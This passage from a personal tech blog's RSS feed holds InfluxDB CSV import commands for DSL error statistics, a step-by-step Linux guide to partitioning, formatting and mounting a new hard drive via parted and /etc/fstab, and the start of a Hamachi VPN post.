&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;--header &lt;span style="color:#e6db74"&gt;&amp;#34;errors_crc_up,errors_crc_down,errors_fec_up,errors_fec_down,showtime_start_value,current_date&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;influx write dryrun -b DSL-Info -f dsl_info_influxdb.csv &lt;span style="color:#ae81ff"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;--header &lt;span style="color:#e6db74"&gt;&amp;#34;#constant measurement,errors&amp;#34;&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;--header &lt;span style="color:#e6db74"&gt;&amp;#34;#datatype ignored,ignored,long,ignored,ignored,dateTime:RFC3339&amp;#34;&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;--header &lt;span style="color:#e6db74"&gt;&amp;#34;errors_crc_up,errors_crc_down,errors_fec_up,errors_fec_down,showtime_start_value,current_date&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;influx write dryrun -b DSL-Info -f dsl_info_influxdb.csv &lt;span style="color:#ae81ff"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;--header &lt;span style="color:#e6db74"&gt;&amp;#34;#constant measurement,errors&amp;#34;&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;--header &lt;span style="color:#e6db74"&gt;&amp;#34;#datatype ignored,ignored,ignored,long,ignored,dateTime:RFC3339&amp;#34;&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;--header &lt;span style="color:#e6db74"&gt;&amp;#34;errors_crc_up,errors_crc_down,errors_fec_up,errors_fec_down,showtime_start_value,current_date&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;influx write -b DSL-Info -f dsl_info_influxdb.csv &lt;span style="color:#ae81ff"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;--header &lt;span style="color:#e6db74"&gt;&amp;#34;#constant measurement,errors&amp;#34;&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;--header &lt;span style="color:#e6db74"&gt;&amp;#34;#datatype ignored,ignored,ignored,ignored,duration,dateTime:RFC3339&amp;#34;&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;--header &lt;span style="color:#e6db74"&gt;&amp;#34;errors_crc_up,errors_crc_down,errors_fec_up,errors_fec_down,showtime_start_value,current_date&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description></item><item><title>Install Hard Drive</title><link>https://thanoskoutr.com/posts/install-hard-drive/</link><pubDate>Tue, 30 Mar 2021 03:02:00 +0300</pubDate><guid>https://thanoskoutr.com/posts/install-hard-drive/</guid><description>
&lt;img src="https://thanoskoutr.com/covers/disk.jpg"/&gt;
&lt;p&gt;In this guide, we will see how we can install a new hard drive into a linux system. This operation requires partitioning, formatting and mounting the drive. Lastly, we will see how to edit the &lt;code&gt;/etc/fstab&lt;/code&gt; in order for the drive to be automatically mounted at a system reboot.&lt;/p&gt;
&lt;p&gt;This guide applies to all linux systems, though its been only tested in an Ubuntu Server machine.&lt;/p&gt;
&lt;h2 id="find-the-logical-name-of-the-drive"&gt;
Find the logical name of the drive
&lt;a href="#find-the-logical-name-of-the-drive" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;The logical name of the drive will be like &lt;code&gt;/dev/sd*&lt;/code&gt;, where &lt;code&gt;*=b,c,d,...&lt;/code&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo lshw -C disk
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;or you can use:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo fdisk -l
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;or even:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ls /dev/sd*
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="partition-the-drive-with-parted"&gt;
Partition the drive (with &lt;code&gt;parted&lt;/code&gt;)
&lt;a href="#partition-the-drive-with-parted" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;For a single partition, after you found the logical name of the drive,
we will assume this will be &lt;code&gt;/dev/sdb&lt;/code&gt; for simplicity.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Start parted as follows:&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo parted /dev/sdb
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol start="2"&gt;
&lt;li&gt;Create a new GPT disklabel (aka partition table):&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;(&lt;/span&gt;parted&lt;span style="color:#f92672"&gt;)&lt;/span&gt; mklabel gpt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol start="3"&gt;
&lt;li&gt;Set the default unit to TB:&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;(&lt;/span&gt;parted&lt;span style="color:#f92672"&gt;)&lt;/span&gt; unit TB
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol start="4"&gt;
&lt;li&gt;Create one partition occupying all the space on the drive. For a 2TB drive:&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;(&lt;/span&gt;parted&lt;span style="color:#f92672"&gt;)&lt;/span&gt; mkpart
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;4.1 Select partition name:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Partition name? &lt;span style="color:#f92672"&gt;[]&lt;/span&gt;? primary
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;4.2 Select file system type (usually ext4, fat32, ntfs).&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;File system type? &lt;span style="color:#f92672"&gt;[&lt;/span&gt;ext2&lt;span style="color:#f92672"&gt;]&lt;/span&gt;? ext4
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;4.3 Select start:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Start? &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;4.4 Select end:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;End? &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol start="5"&gt;
&lt;li&gt;Check that the results are correct:&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;(&lt;/span&gt;parted&lt;span style="color:#f92672"&gt;)&lt;/span&gt; print
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;There should be one partition occupying the entire drive. 6. Save and quit &lt;code&gt;parted&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;(&lt;/span&gt;parted&lt;span style="color:#f92672"&gt;)&lt;/span&gt; quit
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="format-the-drive"&gt;
Format the drive
&lt;a href="#format-the-drive" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;To format the new partition as ext4 file system:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo mkfs -t ext4 /dev/sdb1
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;As always, substitute &lt;code&gt;/dev/sdb1&lt;/code&gt; with your own partition&amp;rsquo;s path.&lt;/p&gt;
&lt;h2 id="create-a-mount-point"&gt;
Create A Mount Point
&lt;a href="#create-a-mount-point" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;Now that the drive is partitioned and formatted, you need to choose a mount point.
This will be the location from which you will access the drive in the future.
I would recommend using a mount point with &lt;code&gt;/media&lt;/code&gt;, as it is the default used by Ubuntu.
For this example, we&amp;rsquo;ll use the path &lt;code&gt;/media/mynewdrive&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo mkdir /media/mynewdrive
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now we are ready to mount the drive to the mount point&lt;/p&gt;
&lt;h2 id="mount-the-drive-with-devsd-not-preferred"&gt;
Mount The Drive (with &lt;code&gt;/dev/sd*&lt;/code&gt;, Not Preferred)
&lt;a href="#mount-the-drive-with-devsd-not-preferred" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;To automatically mount the disk each time the computer boots.
You&amp;rsquo;ll need to edit &lt;code&gt;/etc/fstab&lt;/code&gt;:&lt;/p&gt;
&lt;h3 id="edit-etcfstab"&gt;
Edit &lt;code&gt;/etc/fstab&lt;/code&gt;
&lt;a href="#edit-etcfstab" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;First create a copy of the &lt;code&gt;/etc/fstab&lt;/code&gt; if some error occurs:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo cp /etc/fstab /etc/fstab~
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Then open the file for editing:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo vim /etc/fstab
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Add this line to the end (for ext4 file system):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/dev/sdb1 /media/mynewdrive ext4 defaults &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="force-changes"&gt;
Force changes
&lt;a href="#force-changes" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;To have the changes take effect and check for no errors, you can now run:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo mount -a
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;or reboot the computer.&lt;/p&gt;
&lt;h2 id="mount-the-drive-with-uuid-recommended"&gt;
Mount the Drive (with UUID, Recommended)
&lt;a href="#mount-the-drive-with-uuid-recommended" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;To automatically mount the disk each time the computer boots.&lt;/p&gt;
&lt;h3 id="find-disk-uuid"&gt;
Find disk UUID
&lt;a href="#find-disk-uuid" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;First you will need to find the UUID of the drive:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo blkid
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;or you can list them from the root fs:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ls -l /dev/disk/by-uuid/
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This will display every UUID associated with every storage device attached to your machine.
Locate your drive, and copy its UUID.
Example of possible output:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/dev/sda1: UUID&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;7286-2A7A&amp;#34;&lt;/span&gt; TYPE&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;vfat&amp;#34;&lt;/span&gt; PARTUUID&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;02300589-fb35-4257-bd53-b1be9b2eb1aa&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/dev/sda2: UUID&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;6711e5d5-a986-436b-88e0-afdbd636c65f&amp;#34;&lt;/span&gt; TYPE&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;ext4&amp;#34;&lt;/span&gt; PARTUUID&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;9192f875-2089-40c5-8d23-102c8ced0bac&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="edit-etcfstab-1"&gt;
Edit &lt;code&gt;/etc/fstab&lt;/code&gt;
&lt;a href="#edit-etcfstab-1" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;First create a copy of the &lt;code&gt;/etc/fstab&lt;/code&gt; if some error occurs:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo cp /etc/fstab /etc/fstab~
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Then open the file for editing:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo vim /etc/fstab
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Add this line to the end (for ext4 file system):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# &amp;lt;device&amp;gt; &amp;lt;dir&amp;gt; &amp;lt;type&amp;gt; &amp;lt;options&amp;gt; &amp;lt;dump&amp;gt; &amp;lt;fsck&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;UUID&lt;span style="color:#f92672"&gt;=&lt;/span&gt;6711e5d5-a986-436b-88e0-afdbd636c14e /media/mynewdrive ext4 defaults &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#UUID=6711e5d5-a986-436b-88e0-afdbd636c14e /media/mynewdrive ext4 rw,suid,dev,exec,auto,async,user 0 0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Explanation of fieds:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;device&amp;gt;&lt;/code&gt;: describes the block special device or remote filesystem to be mounted&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;dir&amp;gt;&lt;/code&gt;: describes the mount directory&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;type&amp;gt;&lt;/code&gt;: the file system type.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;options&amp;gt;&lt;/code&gt;: the associated mount options
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;default options:&lt;/em&gt; rw, suid, dev, exec, auto, nouser, and async&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;dumb&amp;gt;&lt;/code&gt;: is checked by the &lt;code&gt;dump(8)&lt;/code&gt; utility. This field is usually set to 0, which disables the check&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;fsck&amp;gt;&lt;/code&gt;: sets the order for filesystem checks at boot time; see &lt;code&gt;fsck(8)&lt;/code&gt;. For the root device it should be 1. For other partitions it should be 2, or 0 to disable checking.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="force-changes-1"&gt;
Force changes
&lt;a href="#force-changes-1" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;To have the changes take effect and check for no errors, you can now run:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo mount -a
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;or reboot the computer.&lt;/p&gt;
&lt;h2 id="change-disk-ownership--permissions"&gt;
Change Disk Ownership &amp;amp; Permissions
&lt;a href="#change-disk-ownership--permissions" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;In order to allow normal users to access the drive we have to give ownership
to the top directory of the drive to a group (more flexible, than only a user).
You can choose between:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The &lt;code&gt;plugdev&lt;/code&gt; group (usually those who are meant to be able to mount removable disks, desktop users)&lt;/li&gt;
&lt;li&gt;Create a new group and add users as needed&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="create-a-new-group"&gt;
Create a new group
&lt;a href="#create-a-new-group" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo groupadd mediagroup
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="add-user-to-the-group"&gt;
Add user to the group
&lt;a href="#add-user-to-the-group" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo usermod -aG mediagroup USERNAME
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;where &lt;code&gt;USERNAME&lt;/code&gt; is the user you want to add.&lt;/p&gt;
&lt;h3 id="change-ownership-of-drive"&gt;
Change ownership of drive
&lt;a href="#change-ownership-of-drive" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;If you created a new group, you give this group
ownership of the new drive, with these command:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo chown -R :mediagroup /media/mynewdrive
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;(Recommended for simplicity for reads/writes permissions)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;If you are using the &lt;code&gt;plugdev&lt;/code&gt; group, you give this group
ownership of the new drive, with these commands:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo chgrp plugdev /media/mynewdrive
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo chmod g+w /media/mynewdrive
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo chmod +t /media/mynewdrive
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The last &lt;code&gt;chmod +t&lt;/code&gt; adds the sticky bit, so that people can only delete
their own files and sub-directories in a directory, even if they have
write permissions to it (see &lt;code&gt;man chmod&lt;/code&gt;).
&lt;strong&gt;(Recommended for better permission handling with multiple users)&lt;/strong&gt;&lt;/p&gt;</description></item><item><title>Hamachi Configure</title><link>https://thanoskoutr.com/posts/hamachi-configure/</link><pubDate>Mon, 01 Mar 2021 16:28:00 +0200</pubDate><guid>https://thanoskoutr.com/posts/hamachi-configure/</guid><description>
&lt;img src="https://thanoskoutr.com/covers/hamachi-black.png"/&gt;
&lt;p&gt;Hamachi is a virtual private network application that lets us securely extend LAN-like networks to distributed PCs from different public networks. This way we can play LAN games with our friends without having to be in the same local network (aka the same house).&lt;/p&gt;
